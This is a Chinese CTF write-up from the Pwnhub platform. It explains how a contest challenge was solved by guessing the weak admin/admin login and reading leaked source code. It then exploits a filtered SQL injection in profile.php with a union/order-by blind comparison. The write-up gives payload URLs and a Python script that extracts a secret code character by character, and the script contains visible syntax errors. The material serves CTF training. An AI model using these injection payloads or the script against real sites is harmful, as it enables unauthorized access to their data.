Pwnhub会员日Writeup|公开赛

Posted by Pwnhub on 2017-11-01

在各种后台私信的呼唤下,胖哥在上周五开了一期不太难、纯为送邀请码的公开赛—— Pwnhub 会员日。从标题就能看出我们送邀请码的诚意吧?

此次题目来自武汉大学 Dawn 战队的 @乐清小俊杰 ,本次题目考点不会太偏,难度不高,但是也是有点小特别的(据说也难倒了不少萌新喔~23333

本次题目来自「投稿原创题目换取邀请码」,但是令人叹息的是,我们发现 @xnianq 胖友使用了 @乐清小俊杰 在某线下赛的题目用来投稿换取邀请码。经过 Pwnhub 内部商议,我们决定对 @xnianq 做出「封禁账号」与「通报批评」的处理。

尊重原创是我们每一个人都需要认同并遵守的基本原则。

(在联系 @xnianq 时,他很认真并且诚恳地向我们及原作者道了歉,我们很欣慰这样的态度,依然欢迎他在做好准备之后,重新回归 Pwnhub 一起玩。)

本次 Writeup 来自某位公开赛参赛选手、乐清师傅以及 Pwnhub 小姐姐,小姐姐整理得真的十分艰辛TAT


访问题目地址:54.223.59.178 ,是一个登录页面。

1.png

首先想到弱口令,尝试 admin/admin ,提示可以下载源码(sourcecode) 。

2.png

访问 http://54.223.59.178/thisissourcecode.zip ,下载源码,进行审计。

3.png

发现 profile.phpid 参数存在注入:

4.png

但是这里是有限制的:

1
2
if(preg_match("#\.#",$id) or preg_match("#_#",$id) or preg_match("#\(#",$id) or preg_match("#\)#",$id))
die('<h3>danger character dectected</h3>');

总结一下,审计源码后可以得到以下信息:

  • 每个 username 对应一个兑换码,username 变量是从 session 获取的,审计 index.php 发现单引号和斜杠都被过滤了,控制不了 username
  • 兑换码在页面被访问 140 次以后会被重置,是 0-9 、 a-z 这 36 个字符的随机排列;
  • id 变量由 GET 请求获得,由于不知道兑换码所在的 $secret 字段的名字,并且因为无法使用 .()_,不能查询 information_schema 表,也难以直接列出 $secret 的内容。

那么现在应该考虑采用 order by 的盲注方法了,构造语句如下:

1
http://54.223.59.178/profile.php?id=2 union select 1,2,3,4,5 order by 4

5.png

此时页面回显的是 2 ,继续:

1
http://54.223.59.178/profile.php?id=2 union select 1,2,3,'zz',5 order by 4

6.png

这里回显的是 admin 。

根据页面不同回显,可以判断数据库里的兑换码比输入的字符大还是小,可以判断输入的字符比数据库里的兑换码大还是小(这里指字符串比较),摸索规律:

字符串a 小于 admin,显示 a 的结果;字符串 b 大于 admin ,显示 admin 的结果

到这里,开始写脚本跑吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
# coding=utf-8
import requests
session = requests.Session()
def login(username, password)
url = "http://54.223.59.178/index.php"
session.post(url, data={"username": username, "password": password})
def check(url):
# print "[+] %s" % (url)
content = session.get(url).content
if "尝试次数过多" in content:
exit(1)
pass
else
print "[+] 访问次数 :%d" % (int(content.split("您已经访问")[1].split("次")[0]))
return "This is admin page" in content
chars = "0123456789abcdefghijklmnopqrstuvwxyz"
def exploit(length):
global chars
data = ""
for i in range(length):
LEFT = 0
RIGHT = len(chars)
P = (LEFT + RIGHT) / 2
while abs(LEFT - RIGHT) > 1:
# print "[%d]>>>>[%d]<<<<[%d]" % (LEFT, P, RIGHT)
guess = "%02x" % ord(chars[P])
# url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,0x''' + data.encode("hex").replace("0x","") + guess + ''',3,4,5%20form%20order%20by%202'''
url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,2,3,0x''' + data.encode("hex").replace("0x","") + guess + ''',5%20form%20user%20where user=0x61646d696e order%20by%204'''
if check(url):
RIGHT = P
else
LEFT = P
P = (LEFT + RIGHT ) / 2
if len(chars) == 0:
return
ch = chars[P]
data += ch
chars = chars.replace(ch,"") # 根据不重复的特性,将已经得到的字符删除,增加命中几率
print "[+] Data (%d) : %s" % (len(data), data)
def main():
# login("lilac","lilac")
login("admin", "admin")
expolt(0x40)
if __name__ == "__main__"
main()

访问 http://54.223.59.178/flag.php

7.png

最终获得 Flag :pwnhub{this_is_sql_injection}